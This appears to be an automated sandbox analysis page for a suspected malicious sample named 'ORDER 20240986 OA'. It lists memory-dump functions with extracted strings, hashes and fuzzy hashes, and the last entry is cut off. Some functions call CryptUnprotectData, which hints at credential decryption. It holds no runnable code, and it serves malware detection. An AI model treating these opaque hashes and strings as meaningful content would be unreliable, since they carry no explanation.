Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjGp, xrefs: 00155550
LjGp, xrefs: 00155566
0oGp, xrefs: 001553E2
PHdq, xrefs: 001555C8
PHdq, xrefs: 001555D9

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: 37bf2de3ad624ec1f66b8ca3b3a38713e57b4bb56cafb92f350cd6a228b82015
Instruction ID: 2a5b733a5dff7028c5f6aa2db0bc3f0dfc03240f6d4db353df3865e0c3ac1be4
Opcode Fuzzy Hash: 37bf2de3ad624ec1f66b8ca3b3a38713e57b4bb56cafb92f350cd6a228b82015
Instruction Fuzzy Hash: 1591D474E00618CFDB18CFA9C894A9DBBF2BF89301F15D069E819AB361DB349985CF50

Function 0015CA08 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oGp, xrefs: 0015CA7A
PHdq, xrefs: 0015CC5F
LjGp, xrefs: 0015CBFD
LjGp, xrefs: 0015CBE7
PHdq, xrefs: 0015CC70

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: b6824d6479cee8506dd3ce2d4dfd2a966ce19798b4c9c5b79626738808ac54dc
Instruction ID: 6f3b02cee6c09856919bcb24d2f8c183a9541e4a502c137f9306e3a230952d3e
Opcode Fuzzy Hash: b6824d6479cee8506dd3ce2d4dfd2a966ce19798b4c9c5b79626738808ac54dc
Instruction Fuzzy Hash: FD81B774E00218DFDB14DFAAC894A9DBBF2BF89301F14D069E819AB365DB349985CF50

Function 0015CFAA Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjGp, xrefs: 0015D19D
PHdq, xrefs: 0015D1FF
PHdq, xrefs: 0015D210
0oGp, xrefs: 0015D01A
LjGp, xrefs: 0015D187

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: 093c2e4083236cb70f179a5f87b81e941396564ff494712c1f7c8430c3a63478
Instruction ID: 2fe976f790ccae8a2a7d8835b60eebca302cf83a23ea2813c26577bd5af419d0
Opcode Fuzzy Hash: 093c2e4083236cb70f179a5f87b81e941396564ff494712c1f7c8430c3a63478
Instruction Fuzzy Hash: 5B81E674E00208DFDB14DFAAD884A9DBBF2BF88301F14D069E819AB361DB309985CF50

Function 0015CCD8 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 0015CF2F
0oGp, xrefs: 0015CD4A
LjGp, xrefs: 0015CEB7
LjGp, xrefs: 0015CECD
PHdq, xrefs: 0015CF40

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: 2e7799c8af7dc3bfac1d3df63d53cef9e8e56f00c83b4e27ab6b2bee49e77e96
Instruction ID: 38f1ef81ed6410e9c735102624a660da9948f0322744adfd072f42c8abaa5534
Opcode Fuzzy Hash: 2e7799c8af7dc3bfac1d3df63d53cef9e8e56f00c83b4e27ab6b2bee49e77e96
Instruction Fuzzy Hash: 9A81A274E00218DFDB14DFAAD984A9DBBF2BF88301F14D069E819AB365DB349985CF50

Function 0015D278 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjGp, xrefs: 0015D457
0oGp, xrefs: 0015D2EA
LjGp, xrefs: 0015D46D
PHdq, xrefs: 0015D4E0
PHdq, xrefs: 0015D4CF

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: 8cf1a8c957b226bb59d02c80b1e9ebbd065e27d330e797ffe1266146c06b588f
Instruction ID: a6ac649effd4a102230d3f0c5bc9daf0ee5cbca020ada04c05cfb0c317324571
Opcode Fuzzy Hash: 8cf1a8c957b226bb59d02c80b1e9ebbd065e27d330e797ffe1266146c06b588f
Instruction Fuzzy Hash: 4581C774E00218DFDB14DFAAD884A9DBBF2BF88301F14D069E819AB365DB34A945CF50

Function 0015C472 Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oGp, xrefs: 0015C4DA
PHdq, xrefs: 0015C6BF
LjGp, xrefs: 0015C65D
LjGp, xrefs: 0015C647
PHdq, xrefs: 0015C6D0

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$LjGp$LjGp$PHdq$PHdq
API String ID: 0-1273542581
Opcode ID: e6b437a83850f3886571aedb5aef19f3df68d2136fc9c92fd409969851afa0df
Instruction ID: afe450eb60e08758e5495e322af8b02a417509e4e4fe6dbf666ce69a73af67f1
Opcode Fuzzy Hash: e6b437a83850f3886571aedb5aef19f3df68d2136fc9c92fd409969851afa0df
Instruction Fuzzy Hash: 7281C574E00218DFDB14DFAAC984A9DBBF2BF88301F14D169E819AB365DB349985CF50

Function 00159DE0 Relevance: 6.1, Strings: 4, Instructions: 1143COMMON

Download Yara Rule

Strings

4'dq, xrefs: 00159E04
(odq, xrefs: 0015A518
4'dq, xrefs: 00159F0C
4'dq, xrefs: 0015AB13

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: (odq$4'dq$4'dq$4'dq
API String ID: 0-3599379907
Opcode ID: bd17f507a2551766b8c760d890c943ce8320ca99f113869695a612837d7c64df
Instruction ID: cb9e0860502a4e5621f8a6f59758a130d87527f770f01c9195d36ad7f0277444
Opcode Fuzzy Hash: bd17f507a2551766b8c760d890c943ce8320ca99f113869695a612837d7c64df
Instruction Fuzzy Hash: 3AA28170A40209DFCB15CFA8C994AAEBBF2BF88301F558659E815DF261D730ED85CB52

Function 00156FC8 Relevance: 5.5, Strings: 4, Instructions: 453
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(odq, xrefs: 00157212
,hq, xrefs: 00157298
(odq, xrefs: 00157220
,hq, xrefs: 0015728A

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: (odq$(odq$,hq$,hq
API String ID: 0-1125629291
Opcode ID: c5f18dba906fdd06bf1efea0d0f0989aa19d9545dcfd2c7512291053c769a8fd
Instruction ID: fec156e518712d83adef23a3bf6082ffa4208e19327c49ee5d74acf7bb2d7f1f
Opcode Fuzzy Hash: c5f18dba906fdd06bf1efea0d0f0989aa19d9545dcfd2c7512291053c769a8fd
Instruction Fuzzy Hash: C6026170A04219DFCB15CFA8E895AADBBF2BF49301F158059EC25AB2A1D730DD89CB50

Function 076647BB Relevance: 3.6, Strings: 2, Instructions: 1105COMMON

Download Yara Rule

Strings

Tedq, xrefs: 0766511E
Tedq, xrefs: 07665145

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Tedq$Tedq
API String ID: 0-4137347946
Opcode ID: 8042de38499585ae8938eff11f2ce412e52dc511c1d1aca3b6c8595f2a4efdd0
Instruction ID: ee8f2d7ee7fdf10112b360066662414d7e0ba3200fa3ba40fe45db4aef494626
Opcode Fuzzy Hash: 8042de38499585ae8938eff11f2ce412e52dc511c1d1aca3b6c8595f2a4efdd0
Instruction Fuzzy Hash: 8CC2D474A01229DFDB64DF64C898BE9BBB2FB89300F1041E9D909A7361DB359E85DF40

Function 001569A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(odq, xrefs: 00156EDA
Hhq, xrefs: 00156DA6

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: (odq$Hhq
API String ID: 0-1720555311
Opcode ID: af3d45df7bf60611fb10b54e9a926aa4015b4c35646280b57f436102b1afc8a8
Instruction ID: 53b44350fe55de82ffe86d35b2969204e6b0a7bdf326d69d06d0ba14904895ed
Opcode Fuzzy Hash: af3d45df7bf60611fb10b54e9a926aa4015b4c35646280b57f436102b1afc8a8
Instruction Fuzzy Hash: 34127070B00219CFDB14DFA9C854BAEBBF6BF88301F508569E9599B391DB309D45CB90

Function 3AE887A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3AE88F5D

Memory Dump Source

Source File: 00000004.00000002.2974263861.000000003AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ae80000_ORDER 20240986 OA.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 44afd4f02eda0ed1a46c9fde9a06d4542a3e872ecff9d8f51d097da0e94a268b
Instruction ID: 7500015d439be959306fbf8875e3c064fba93d252f6722f2afd3ea75fe81fe45
Opcode Fuzzy Hash: 44afd4f02eda0ed1a46c9fde9a06d4542a3e872ecff9d8f51d097da0e94a268b
Instruction Fuzzy Hash: 521159B2800249EFDB10CF99C841BDEBFF5EF48320F14845AE918A7210C779A950DFA5

Function 3AE88EF1 Relevance: 1.6, APIs: 1, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3AE88F5D

Memory Dump Source

Source File: 00000004.00000002.2974263861.000000003AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ae80000_ORDER 20240986 OA.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 6f78e5a1ab06c9b99352c94e06ea477817c5fc759883e52ab92ae1b2c47791f3
Instruction ID: e2fd9d07db38e41506c8484073dc15214c85f25d260a7bdb8e428f5782148e58
Opcode Fuzzy Hash: 6f78e5a1ab06c9b99352c94e06ea477817c5fc759883e52ab92ae1b2c47791f3
Instruction Fuzzy Hash: 4D1179B6800249DFDB10CF99C940BEEBFF5EF48320F24841AE958A7210C379A650DFA1

Function 07662911 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

c, xrefs: 07662914

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: d61c3e7422386c890c425a85fb9c101abdeb65a644b02a6023dc0aeb32bbecdf
Instruction ID: 469fb6db2ed2ee9a6a4cec5ec8bf7c324b7712196eefb5b81b24f75700424774
Opcode Fuzzy Hash: d61c3e7422386c890c425a85fb9c101abdeb65a644b02a6023dc0aeb32bbecdf
Instruction Fuzzy Hash: D44159B1E016598BEB68CF6BC9547DAFAF3AFC9300F14C1AAC40DA6254DB740A858F51

Function 0761D710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950680601.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7610000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de2fff19b650570135ae0c4acb9050559d63727df58e8ad5e5712431c8884a6
Instruction ID: b680ba131447e421b3c3084c559163c877995c8582fbfb8c9aff73ee914a1650
Opcode Fuzzy Hash: 4de2fff19b650570135ae0c4acb9050559d63727df58e8ad5e5712431c8884a6
Instruction Fuzzy Hash: EB826E74E012299FDB64DF69C998BDDBBB2BB89300F1481E9980DA7261DB315EC5CF40

Function 0761EE48 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950680601.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7610000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cffdcff853dcbaf08953762c95b5314799afc4c6c90cc48f0302c0e97eb40dc0
Instruction ID: 99e0f55c948863a84acdbed3a1d0286833d8cc291ca7da8ee98b8cfec8629cc9
Opcode Fuzzy Hash: cffdcff853dcbaf08953762c95b5314799afc4c6c90cc48f0302c0e97eb40dc0
Instruction Fuzzy Hash: D0727C74E012289FDB64DF69C994BDEBBB2BB89300F1481E9A50DA7261DB315EC1CF41

Function 3AC99328 Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4bb9ff47116419eb66ad8b805c14135fea874c5a70d041d2177552fb7ceba5e
Instruction ID: ed319663e2dd83cf4f3af69a352739450ffb779676a809341ec914fdfcad82ba
Opcode Fuzzy Hash: e4bb9ff47116419eb66ad8b805c14135fea874c5a70d041d2177552fb7ceba5e
Instruction Fuzzy Hash: 1D222974E002188FDB54DFA9C984BDDFBB2BF88300F5485A9D409AB365DB349986CF91

Function 3AE87B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974263861.000000003AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ae80000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efd09723c483049477f67a5a02e412b240bb50180416ed76c4d64ce4e19904e
Instruction ID: f7c6d1402ff1fb03be6b22d8e7a2c7b789806230bc168622d93990219123630f
Opcode Fuzzy Hash: 4efd09723c483049477f67a5a02e412b240bb50180416ed76c4d64ce4e19904e
Instruction Fuzzy Hash: 78E1A2B4E01218CFEB64CFA5C994B9DBBB2BF89304F1081A9D808B7395DB755A85CF50

Function 07566678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c7ba888b28d28b206ad08a9b33ab67f1b999c1b0220863c0b5c001e797f622
Instruction ID: a9369b61fa674e90880f7bb9a584d29b51271a36df42e3d27197c31428ac1a0e
Opcode Fuzzy Hash: b1c7ba888b28d28b206ad08a9b33ab67f1b999c1b0220863c0b5c001e797f622
Instruction Fuzzy Hash: 88D19C74E00218CFDB14DFA5C994B9DBBB2BB89300F1081A9D809AB355DB359E86CF50

Function 075687F0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e16e606227b8b5ba0fb1380750cc9e77962067ef28a93c67a41507c2032a953
Instruction ID: cac0de8260c1429c9e149d6547be781968656dcbd0b104c3eb4eae23e6a7ab30
Opcode Fuzzy Hash: 0e16e606227b8b5ba0fb1380750cc9e77962067ef28a93c67a41507c2032a953
Instruction Fuzzy Hash: 37D19EB4E01218CFDB54DFA5C994BDDBBB2BB89300F1081A9D409AB355DB35AE85CF50

Function 07621CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950699365.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7620000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f745fd287ed444c5f0ed27c81c2dbd635e21ea80293ee6b1a57f3c5ba179483
Instruction ID: 3e4ebe3c869e3bb28670ff84ad3f72cfb2d0b8b40511f5ea40b98126dd13ae82
Opcode Fuzzy Hash: 2f745fd287ed444c5f0ed27c81c2dbd635e21ea80293ee6b1a57f3c5ba179483
Instruction Fuzzy Hash: 4CD1AE74E00228CFDB54DFA5C994B9DBBB2BF89300F1081A9D909AB355DB349E86DF50

Function 3AE88FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974263861.000000003AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ae80000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9bc4a2ef8e9ac52128d23200770302386d6ba404765f12fe8898510f68f326c
Instruction ID: 7752e99365562f4b47942e6234816507080f4c3302e98a59ec7784e456b6b3e6
Opcode Fuzzy Hash: d9bc4a2ef8e9ac52128d23200770302386d6ba404765f12fe8898510f68f326c
Instruction Fuzzy Hash: 3BD19E78E00218CFDB54DFA9C994B9DBBB2BF89300F5080A9D908AB355DB759D86CF50

Function 3AC9DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15bc0b3cce2b69602ddc4776b29099eb7fe5f6611b14145fd241082b5e361414
Instruction ID: 2ac29f4f9caa0345b11ccda82ccf1d716d424e779ff2d25be18a0325ee9eae34
Opcode Fuzzy Hash: 15bc0b3cce2b69602ddc4776b29099eb7fe5f6611b14145fd241082b5e361414
Instruction Fuzzy Hash: 6FC1AF74E01218CFDB14DFA5C994BDDBBB2AF89300F1081A9D809AB365DB359E86CF50

Function 3AC92968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 766d94b275f6704388ca6055413e92cd397abdaa650172d11887afdd883cb3f2
Instruction ID: 29d18e975480f91c179952c9ac1c8b254f6af850a9796ab01ce16ebc635706a0
Opcode Fuzzy Hash: 766d94b275f6704388ca6055413e92cd397abdaa650172d11887afdd883cb3f2
Instruction Fuzzy Hash: C3C1B174E00218CFDB54DFA5C994BDDBBB2BF88300F1081A9D809AB365DB359A86CF50

Function 3AE811A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974263861.000000003AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ae80000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 510a304b70b89817662cc4dfe3ae4497c75742e88ef257efc8ade4daee30699e
Instruction ID: f5572cb62a2f068553b70c9b1e4fcf1218e2771b6fd5aa10ce2666d1a84df4b1
Opcode Fuzzy Hash: 510a304b70b89817662cc4dfe3ae4497c75742e88ef257efc8ade4daee30699e
Instruction Fuzzy Hash: 9FC1A178E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D409AB365DB359E86CF50

Function 07663E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886ec42b5c83ce42ad3b930d1917ec6f48c9a4ba94bc2c23d1f0eb763a15abb2
Instruction ID: e7d9ecd1b151c45f50b56a9747caa2a7821d6095ea18a985b9e031d730b21896
Opcode Fuzzy Hash: 886ec42b5c83ce42ad3b930d1917ec6f48c9a4ba94bc2c23d1f0eb763a15abb2
Instruction Fuzzy Hash: 9D912A72D0461ADFDB14AFA0C8687EEBBB1EB4A306F105419D112773D1CB784A49CFA5

Function 07663E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee56e884a1ed5aa47e39550dd54d52c53b1468c1026129067dd5bea498019645
Instruction ID: 9a61edd1a086c4804b6f5ea5e6c841be5d8137d9c342887f0929f02e739c77e2
Opcode Fuzzy Hash: ee56e884a1ed5aa47e39550dd54d52c53b1468c1026129067dd5bea498019645
Instruction Fuzzy Hash: B9913972D0461ADFDB14AFA0C85C7EEBAB1EB4A306F105419D112773D1CB784A49CFA5

Function 3AC92DB8 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 521f349ba8f78a9b6d158c030e76fc696d0cd995617a74b768aa86bc4de63e0c
Instruction ID: 8d7047fa3623e5b611d85fe50341322efe1c08f389fc21e28887f84d17d6c492
Opcode Fuzzy Hash: 521f349ba8f78a9b6d158c030e76fc696d0cd995617a74b768aa86bc4de63e0c
Instruction Fuzzy Hash: 1BA10274D002188FEB14DFA9C984BDDBBB1FF89300F209269E448AB2A1DB759985CF54

Function 07661B50 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 026721ffa82107baff69da0ac451f96947e7bcc37f31e41d4f9506e872f090c1
Instruction ID: cd88d91bd3bfda16faed6898675c526aed624002b9fc8ad87cab163a0f51045b
Opcode Fuzzy Hash: 026721ffa82107baff69da0ac451f96947e7bcc37f31e41d4f9506e872f090c1
Instruction Fuzzy Hash: 03A193B5E012298FEB68CF6AC944B9DFBF2BF89300F14C1A9D509A7250DB345A85CF50

Function 07662920 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a391eeb51270fc57623310674246649bcf2ada0bc47eeb7e41c29e101758f6ce
Instruction ID: 290c2230e85c042d88d741e7b51df36bbb121f9965f7cca7ed5bcd1922b0d2e6
Opcode Fuzzy Hash: a391eeb51270fc57623310674246649bcf2ada0bc47eeb7e41c29e101758f6ce
Instruction Fuzzy Hash: 69A1A2B5E012298FEB68CF6AC954B9DFBF2BF89300F14C1A9D409A7250DB745A85CF10

Function 07662238 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d51069e937ad5251b490a14d260f763742b49bce55ef50ae30c8959479f1b210
Instruction ID: 127cb6e89f2368febaa2eac6bf050459c82342865e1c92b4809d42772328596d
Opcode Fuzzy Hash: d51069e937ad5251b490a14d260f763742b49bce55ef50ae30c8959479f1b210
Instruction Fuzzy Hash: 00A193B5E012298FEB68CF6AC954B9DFBF2BB89300F14C1A9D409A7254DB745A85CF10

Function 07660D88 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c56154814e0791bae1970acd444e5e280d9201a2c952f5039fc3552f953313a3
Instruction ID: f65cfc3cf89f1085110852e3b4c86659ea973c80e30f48ac60d4bd38fea60fa9
Opcode Fuzzy Hash: c56154814e0791bae1970acd444e5e280d9201a2c952f5039fc3552f953313a3
Instruction Fuzzy Hash: 04A195B5E012298FEB68CF6AC944B9DFBF2BF89300F14C1A9D409A7250DB745A85CF51

Function 07663008 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2029fc6b574282cca359195d9b67618786882af2d5a1e84c139dfa9946f663a
Instruction ID: e7fa845f463e700bba3d242b0e1042d22c1e73d54943f1cb6aec5b26e2c49bd2
Opcode Fuzzy Hash: e2029fc6b574282cca359195d9b67618786882af2d5a1e84c139dfa9946f663a
Instruction Fuzzy Hash: D3A191B5E012298FEB68CF6AC944B9DFBF2AB89300F14C1A9D409A7354DB345A85CF10

Function 3AC91E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2e6cc341efac2d02ea0b3892d8bd6ed26c900eea4f461d189f9be980ea307e
Instruction ID: e0fb08328c4d8925fdc682ddd7f95381ace56bc98ebf10b4a77e7aaa823972d7
Opcode Fuzzy Hash: ed2e6cc341efac2d02ea0b3892d8bd6ed26c900eea4f461d189f9be980ea307e
Instruction Fuzzy Hash: 7EA192B5E012198FEB68CF6AC954BDDFBF2AF88300F14D1AAD448A7254DB345A85CF50

Function 3AC92DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
